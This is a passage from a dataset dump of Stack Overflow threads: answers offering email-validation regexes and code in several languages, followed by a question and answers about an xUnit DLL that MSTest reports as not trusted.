RL|ST|STADA|STAR|STARHUB|STATEFARM|STATOIL|STC|STCGROUP|STOCKHOLM|STORAGE|STUDIO|STUDY|STYLE|SU|SUCKS|SUPPLIES|SUPPLY|SUPPORT|SURF|SURGERY|SUZUKI|SV|SWATCH|SWISS|SX|SY|SYDNEY|SYMANTEC|SYSTEMS|SZ|TAB|TAIPEI|TAOBAO|TATAMOTORS|TATAR|TATTOO|TAX|TAXI|TC|TCI|TD|TEAM|TECH|TECHNOLOGY|TEL|TELEFONICA|TEMASEK|TENNIS|TF|TG|TH|THD|THEATER|THEATRE|TICKETS|TIENDA|TIFFANY|TIPS|TIRES|TIROL|TJ|TK|TL|TM|TMALL|TN|TO|TODAY|TOKYO|TOOLS|TOP|TORAY|TOSHIBA|TOURS|TOWN|TOYOTA|TOYS|TR|TRADE|TRADING|TRAINING|TRAVEL|TRAVELERS|TRAVELERSINSURANCE|TRUST|TRV|TT|TUBE|TUI|TUSHU|TV|TW|TZ|UA|UBS|UG|UK|UNIVERSITY|UNO|UOL|US|UY|UZ|VA|VACATIONS|VANA|VC|VE|VEGAS|VENTURES|VERISIGN|VERSICHERUNG|VET|VG|VI|VIAJES|VIDEO|VILLAS|VIN|VIP|VIRGIN|VISION|VISTA|VISTAPRINT|VIVA|VLAANDEREN|VN|VODKA|VOLKSWAGEN|VOTE|VOTING|VOTO|VOYAGE|VU|WALES|WALTER|WANG|WANGGOU|WATCH|WATCHES|WEATHER|WEBCAM|WEBER|WEBSITE|WED|WEDDING|WEIR|WF|WHOSWHO|WIEN|WIKI|WILLIAMHILL|WIN|WINDOWS|WINE|WME|WORK|WORKS|WORLD|WS|WTC|WTF|XBOX|XEROX|XIN|XN--11B4C3D|XN--1QQW23A|XN--30RR7Y|XN--3BST00M|XN--3DS443G|XN--3E0B707E|XN--3PXU8K|XN--42C2D9A|XN--45BRJ9C|XN--45Q11C|XN--4GBRIM|XN--55QW42G|XN--55QX5D|XN--6FRZ82G|XN--6QQ986B3XL|XN--80ADXHKS|XN--80AO21A|XN--80ASEHDB|XN--80ASWG|XN--90A3AC|XN--90AIS|XN--9DBQ2A|XN--9ET52U|XN--B4W605FERD|XN--C1AVG|XN--C2BR7G|XN--CG4BKI|XN--CLCHC0EA0B2G2A9GCD|XN--CZR694B|XN--CZRS0T|XN--CZRU2D|XN--D1ACJ3B|XN--D1ALF|XN--ECKVDTC9D|XN--EFVY88H|XN--ESTV75G|XN--FHBEI|XN--FIQ228C5HS|XN--FIQ64B|XN--FIQS8S|XN--FIQZ9S|XN--FJQ720A|XN--FLW351E|XN--FPCRJ9C3D|XN--FZC2C9E2C|XN--G2XX48C|XN--GECRJ9C|XN--H2BRJ9C|XN--HXT814E|XN--I1B6B1A6A2E|XN--IMR513N|XN--IO0A7I|XN--J1AEF|XN--J1AMH|XN--J6W193G|XN--JLQ61U9W7B|XN--KCRX77D1X4A|XN--KPRW13D|XN--KPRY57D|XN--KPU716F|XN--KPUT3I|XN--L1ACC|XN--LGBBAT1AD8J|XN--MGB9AWBF|XN--MGBA3A3EJT|XN--MGBA3A4F16A|XN--MGBAAM7A8H|XN--MGBAB2BD|XN--MGBAYH7GPA|XN--MGBB9FBPOB|XN--MGBBH1A71E|XN--MGBC0A9AZCG|XN--MGBERP4A5D4AR|XN--MGBPL2FH|XN--MGBT3DHD|XN--MGBTX2B|XN--MGBX4CD0AB|XN--MK1BU44C|XN--MXTQ1M|XN--NGBC5AZD|XN--NGBE9E0A|XN--NODE|XN--NQV7F|XN--NQV7FS00EMA|XN--NYQY26A|XN--O3CW4H|XN--OGBPF8FL|XN--P1ACF|XN--P1AI|XN--PBT977C|XN--PGBS0DH|XN--PSSY2U|XN--Q9JYB4C|XN--QCKA1PMC|XN--QXAM|XN--RHQV96G|XN--S9BRJ9C|XN--SES554G|XN--T60B56A|XN--TCKWE|XN--UNUP4Y|XN--VERMGENSBERATER-CTB|XN--VERMGENSBERATUNG-PWB|XN--VHQUV|XN--VUQ861B|XN--WGBH1C|XN--WGBL6A|XN--XHQ521B|XN--XKC2AL3HYE2A|XN--XKC2DL3A5EE0H|XN--Y9A3AQ|XN--YFRO4I67O|XN--YGBI2AMMX|XN--ZFR164B|XPERIA|XXX|XYZ|YACHTS|YAMAXUN|YANDEX|YE|YODOBASHI|YOGA|YOKOHAMA|YOUTUBE|YT|ZA|ZARA|ZERO|ZIP|ZM|ZONE|ZUERICH|ZW)\\b\n 3c296rD3HNEE@d139c.a51, Sd@sd.dox"
},
{
"answer_id": 32669200,
"author": "syp_dino",
"author_id": 2165131,
"author_profile": "https://Stackoverflow.com/users/2165131",
"pm_score": 1,
"selected": false,
"text": "/.+@.+\\..+/i"
},
{
"answer_id": 41129750,
"author": "FlameStorm",
"author_id": 1848217,
"author_profile": "https://Stackoverflow.com/users/1848217",
"pm_score": 2,
"selected": false,
"text": " /^[^@]+@[^@]+$/"
},
{
"answer_id": 41359876,
"author": "Prassd Nidode",
"author_id": 5815954,
"author_profile": "https://Stackoverflow.com/users/5815954",
"pm_score": 2,
"selected": false,
"text": "function checkmail($value) {\n $value = trim($value);\n if (stristr($value,\"@\") &&\n stristr($value,\".\") &&\n (strrpos($value, \".\") - stripos($value, \"@\") > 2) &&\n (stripos($value, \"@\") > 1) &&\n (strlen($value) - strrpos($value, \".\") < 6) &&\n (strlen($value) - strrpos($value, \".\") > 2) &&\n ($value == preg_replace('/[ ]/', '', $value)) &&\n ($value == preg_replace('/[^A-Za-z0-9\\-_.@!*]/', '', $value))\n )\n {\n\n }\n else {\n return \"Invalid Mail-Id\";\n }\n}\n"
},
{
"answer_id": 42149701,
"author": "Simon_Weaver",
"author_id": 16940,
"author_profile": "https://Stackoverflow.com/users/16940",
"pm_score": 2,
"selected": false,
"text": "simon-@hotmail.com MailAddress .cmo .gmial.com try\n{\n var email = new MailAddress(str);\n\n if (email.Host.EndsWith(\".cmo\"))\n {\n return EmailValidation.PossibleTypo;\n }\n\n if (!email.Host.EndsWith(\".\") && email.Host.Contains(\".\"))\n {\n return EmailValidation.OK;\n }\n}\ncatch\n{\n return EmailValidation.Invalid;\n}\n"
},
{
"answer_id": 46445787,
"author": "Hany Sakr",
"author_id": 4619784,
"author_profile": "https://Stackoverflow.com/users/4619784",
"pm_score": 1,
"selected": false,
"text": "String pattern = \"(?:[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\\\.[a-zA-Z0-9!#$%&'*+/=?^_`{|}~-]+)*|\\\"(?:[\\\\x01-\\\\x08\\\\x0b\\\\x0c\\\\x0e-\\\\x1f\\\\x21\\\\x23-\\\\x5b\\\\x5d-\\\\x7f]|\\\\\\\\[\\\\x01-\\\\x09\\\\x0b\\\\x0c\\\\x0e-\\\\x7f])*\\\")@(?:(?:[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?\\\\.)+[a-zA-Z0-9](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?|\\\\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\\\\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-zA-Z0-9-]*[a-zA-Z0-9]:(?:[\\\\x01-\\\\x08\\\\x0b\\\\x0c\\\\x0e-\\\\x1f\\\\x21-\\\\x5a\\\\x53-\\\\x7f]|\\\\\\\\[\\\\x01-\\\\x09\\\\x0b\\\\x0c\\\\x0e-\\\\x7f])+)\\\\])\";\n"
},
{
"answer_id": 51332395,
"author": "Dave Black",
"author_id": 251267,
"author_profile": "https://Stackoverflow.com/users/251267",
"pm_score": 2,
"selected": false,
"text": "^((([!#$%&'*+\\-/=?^_`{|}~\\w])|([!#$%&'*+\\-/=?^_`{|}~\\w][!#$%&'*+\\-/=?^_`{|}~\\.\\w]{0,}[!#$%&'*+\\-/=?^_`{|}~\\w]))[@]\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*)$\n"
},
{
"answer_id": 53151299,
"author": "Savas Adar",
"author_id": 793880,
"author_profile": "https://Stackoverflow.com/users/793880",
"pm_score": -1,
"selected": false,
"text": "^(([^<>()\\[\\]\\\\.,;:\\s@\"]+(\\.[^<>()\\[\\]\\\\.,;:\\s@\"]+)*)|(\".+\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,}))$\n"
},
{
"answer_id": 55109472,
"author": "Carli B",
"author_id": 6698988,
"author_profile": "https://Stackoverflow.com/users/6698988",
"pm_score": -1,
"selected": false,
"text": "emailPattern = '^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+[.]+[a-zA-Z0-9-.]+(\\\\s)*';\n\nprivate createForm() {\n this.form = this.formBuilder.group({\n email: ['', [Validators.required, Validators.pattern(this.emailPattern)]]\n });\n}"
},
{
"answer_id": 55885412,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": -1,
"selected": false,
"text": "(?im)^(?=.{1,64}@)(?:(\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"@)|((?:[0-9a-z](?:\\.(?!\\.)|[-!#\\$%&'\\*\\+/=\\?\\^`\\{\\}\\|~\\w])*)?[0-9a-z]@))(?=.{1,255}$)(?:(\\[(?:\\d{1,3}\\.){3}\\d{1,3}\\])|((?:(?=.{1,63}\\.)[0-9a-z][-\\w]*[0-9a-z]*\\.)+[a-z0-9][\\-a-z0-9]{0,22}[a-z0-9])|((?=.{1,63}$)[0-9a-z][-\\w]*))$\n # (?im)^(?=.{1,64}@)(?:(\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"@)|((?:[0-9a-z](?:\\.(?!\\.)|[-!#\\$%&'\\*\\+/=\\?\\^`\\{\\}\\|~\\w])*)?[0-9a-z]@))(?=.{1,255}$)(?:(\\[(?:\\d{1,3}\\.){3}\\d{1,3}\\])|((?:(?=.{1,63}\\.)[0-9a-z][-\\w]*[0-9a-z]*\\.)+[a-z0-9][\\-a-z0-9]{0,22}[a-z0-9])|((?=.{1,63}$)[0-9a-z][-\\w]*))$\n\n# Note - remove all comments '(comments)' before running this regex\n# Find \\([^)]*\\) replace with nothing\n\n(?im) # Case insensitive\n^ # BOS\n\n # Local part\n(?= .{1,64} @ ) # 64 max chars\n(?:\n ( # (1 start), Quoted\n \" [^\"\\\\]*\n (?: \\\\ . [^\"\\\\]* )*\n \"\n @\n ) # (1 end)\n | # or,\n ( # (2 start), Non-quoted\n (?:\n [0-9a-z]\n (?:\n \\.\n (?! \\. )\n | # or,\n [-!#\\$%&'\\*\\+/=\\?\\^`\\{\\}\\|~\\w]\n )*\n )?\n [0-9a-z]\n @\n ) # (2 end)\n)\n # Domain part\n(?= .{1,255} $ ) # 255 max chars\n(?:\n ( # (3 start), IP\n \\[\n (?: \\d{1,3} \\. ){3}\n \\d{1,3} \\]\n ) # (3 end)\n | # or,\n ( # (4 start), Others\n (?: # Labels (63 max chars each)\n (?= .{1,63} \\. )\n [0-9a-z] [-\\w]* [0-9a-z]*\n \\.\n )+\n [a-z0-9] [\\-a-z0-9]{0,22} [a-z0-9]\n ) # (4 end)\n | # or,\n ( # (5 start), Localdomain\n (?= .{1,63} $ )\n [0-9a-z] [-\\w]*\n ) # (5 end)\n)\n$ # EOS\n"
},
{
"answer_id": 56562639,
"author": "partoftheorigin",
"author_id": 6017440,
"author_profile": "https://Stackoverflow.com/users/6017440",
"pm_score": 2,
"selected": false,
"text": "from pyisemail import is_email\n\naddress = \"test@example.com\"\nbool_result = is_email(address)\ndetailed_result = is_email(address, diagnose=True)\n from pyisemail import is_email\n\naddress = \"test@example.com\"\nbool_result_with_dns = is_email(address, check_dns=True)\ndetailed_result_with_dns = is_email(address, check_dns=True, diagnose=True)\n"
},
{
"answer_id": 58786483,
"author": "Asad Ali Choudhry",
"author_id": 5701085,
"author_profile": "https://Stackoverflow.com/users/5701085",
"pm_score": 2,
"selected": false,
"text": "public static boolean isEmailValid(@NonNull String email) {\n return android.util.Patterns.EMAIL_ADDRESS.matcher(email).matches();\n}\n \"[A-Z0-9a-z._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,6}\"\n"
},
{
"answer_id": 63295767,
"author": "Dreamray",
"author_id": 11421834,
"author_profile": "https://Stackoverflow.com/users/11421834",
"pm_score": -1,
"selected": false,
"text": "/^[a-zA-Z0-9]+([-._][a-zA-Z0-9]+)*@[a-zA-Z0-9]+([-.][a-zA-Z0-9]+)*\\.[a-zA-Z]{2,7}$/\n"
},
{
"answer_id": 63841473,
"author": "awwright",
"author_id": 7117939,
"author_profile": "https://Stackoverflow.com/users/7117939",
"pm_score": 3,
"selected": false,
"text": "/^(\"(?:[!#-\\[\\]-\\u{10FFFF}]|\\\\[\\t -\\u{10FFFF}])*\"|[!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}](?:\\.?[!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}])*)@([!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}](?:\\.?[!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}])*|\\[[!-Z\\^-\\u{10FFFF}]*\\])$/u\n addr-spec FILTER_VALIDATE_EMAIL FILTER_FLAG_EMAIL_UNICODE $email_valid = filter_var($email_input, FILTER_VALIDATE_EMAIL, FILTER_FLAG_EMAIL_UNICODE);\n CFWS BWS obs-* addr-spec /^(\"(?:[!#-\\[\\]-~]|\\\\[\\t -~])*\"|[!#-'*+\\-/-9=?A-Z\\^-~](?:\\.?[!#-'*+\\-/-9=?A-Z\\^-~])*)\n@([!#-'*+\\-/-9=?A-Z\\^-~](?:\\.?[!#-'*+\\-/-9=?A-Z\\^-~])*|\\[[!-Z\\^-~]*\\])$/\n ~ \\u{10FFFF} u \\uFFFF /^(\"(?:[!#-\\[\\]-\\u{10FFFF}]|\\\\[\\t -\\u{10FFFF}])*\"|[!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}](?:\\.?[!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}])*)@([!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}](?:\\.?[!#-'*+\\-/-9=?A-Z\\^-\\u{10FFFF}])*|\\[[!-Z\\^-\\u{10FFFF}]*\\])$/u\n @ \"([!#-\\[\\]-~]|\\\\[\\t -~])*\" \"root@home\"@example.com [!#-'*+\\-/-9=?A-Z\\^-~] (\\.?[!#-'*+\\-/-9=?A-Z\\^-~])* @ [!#-'*+\\-/-9=?A-Z\\^-~](\\.?[!#-'*+\\-/-9=?A-Z\\^-~])* \\[[!-Z\\^-~]*\\] match[1] match[2] match[1] \"root\"@example.com root@example.com @"
},
{
"answer_id": 64162842,
"author": "Andriy B.",
"author_id": 4564046,
"author_profile": "https://Stackoverflow.com/users/4564046",
"pm_score": -1,
"selected": false,
"text": "^(?<name>[^<>#()\\.,;\\s@\\\"]{1,})@(?<domain>[^<>#()\\.,;\\s@\\\"]{2,}\\.(?<top>[^<>#()\\.,;:\\s@\\\"]{2,}))$\n"
},
{
"answer_id": 66244914,
"author": "alejandro juarez",
"author_id": 10582300,
"author_profile": "https://Stackoverflow.com/users/10582300",
"pm_score": 2,
"selected": false,
"text": "^[\\w-\\.]+@([\\w-]+\\.)+[\\w-]{2,4}$\n let r = new RegExp(String.raw `^[\\w-\\.]+@([\\w-]+\\.)+[\\w-]{2,4}$`);\n\n//should be true\nconsole.log(r.test('name@domain.tld'));\nconsole.log(r.test('name@domain.co.tld'));\nconsole.log(r.test('name@domain.co'));\n\n//should be false\nconsole.log(r.test('@domain.tld'));\nconsole.log(r.test('name@.tld'));\nconsole.log(r.test('name@domain.'));\nconsole.log(r.test('namedomain.tld'));\nconsole.log(r.test(''));\n\n//now that basic client-side validation is done, send a token from the server side to validate the user actually has access to the email"
},
{
"answer_id": 66854124,
"author": "GooDeeJAY",
"author_id": 8323650,
"author_profile": "https://Stackoverflow.com/users/8323650",
"pm_score": -1,
"selected": false,
"text": "[\\w-+]+([.][\\w]+)?@[\\w-+]+([.][a-z]{2,})+\n"
},
{
"answer_id": 67439425,
"author": "Craig",
"author_id": 525558,
"author_profile": "https://Stackoverflow.com/users/525558",
"pm_score": 0,
"selected": false,
"text": "DataAnnotations EmailAddressAttribute using System.ComponentModel.DataAnnotations; public class Person\n{\n public int Id { get; set; }\n\n [EmailAddress]\n public string Email { get; set; }\n}\n var emailAddressAttribute = new EmailAddressAttribute();\n\nif (emailAddressAttribute.IsValid(\"name@email.com\"))\n{\n //email is valid\n}\nelse\n{\n //email is invalid\n}\n"
},
{
"answer_id": 68309817,
"author": "Tim Wißmann",
"author_id": 2707575,
"author_profile": "https://Stackoverflow.com/users/2707575",
"pm_score": 0,
"selected": false,
"text": "/^(?:([^<]*?)\\s*<)?((?:[a-z0-9!#$%&'*+\\/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+\\/=?^_`{|}~-]+)*|\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\]))>?$/gi\n john.doe@example.com\njohn.o'doe@example.com\nJohn <john@doe.com>\n<john@doe.com>\nThis is <john@127.0.0.1>\n"
},
{
"answer_id": 72060047,
"author": "Eggon",
"author_id": 11244772,
"author_profile": "https://Stackoverflow.com/users/11244772",
"pm_score": 1,
"selected": false,
"text": "/^(?![\\w\\.@]*\\.\\.)(?![\\w\\.@]*\\.@)(?![\\w\\.]*@\\.)\\w+[\\w\\.]*@[\\w\\.]+\\.\\w{2,}$/\n"
},
{
"answer_id": 73311375,
"author": "amatinya",
"author_id": 18078396,
"author_profile": "https://Stackoverflow.com/users/18078396",
"pm_score": -1,
"selected": false,
"text": "/^((([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+(\\.([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\x5d-\\x7e]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(\\\\([\\x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]))))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\x22)))@((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))$/i\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201323",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/24215/"
] |
201,327
|
<p>I just added xUnit to our test project (for the Asserts, we're still using MSTest as the framework) and immediately the test runs refused to execute any of the tests. This is the error message:</p>
<blockquote>
<p>Failed to queue test run '{ .... }'
Test run deployment issue: The
location of the file or directory
'...xUnit.dll' is not trusted.</p>
</blockquote>
|
[
{
"answer_id": 340358,
"author": "Davy Landman",
"author_id": 11098,
"author_profile": "https://Stackoverflow.com/users/11098",
"pm_score": 4,
"selected": false,
"text": "caspol -machine -addgroup 1 -url file://\\\\server/share/* FullTrust -name DevShare\n"
},
{
"answer_id": 12498115,
"author": "Yoel",
"author_id": 1683554,
"author_profile": "https://Stackoverflow.com/users/1683554",
"pm_score": 1,
"selected": false,
"text": "file Properties Allow"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201327",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9913/"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.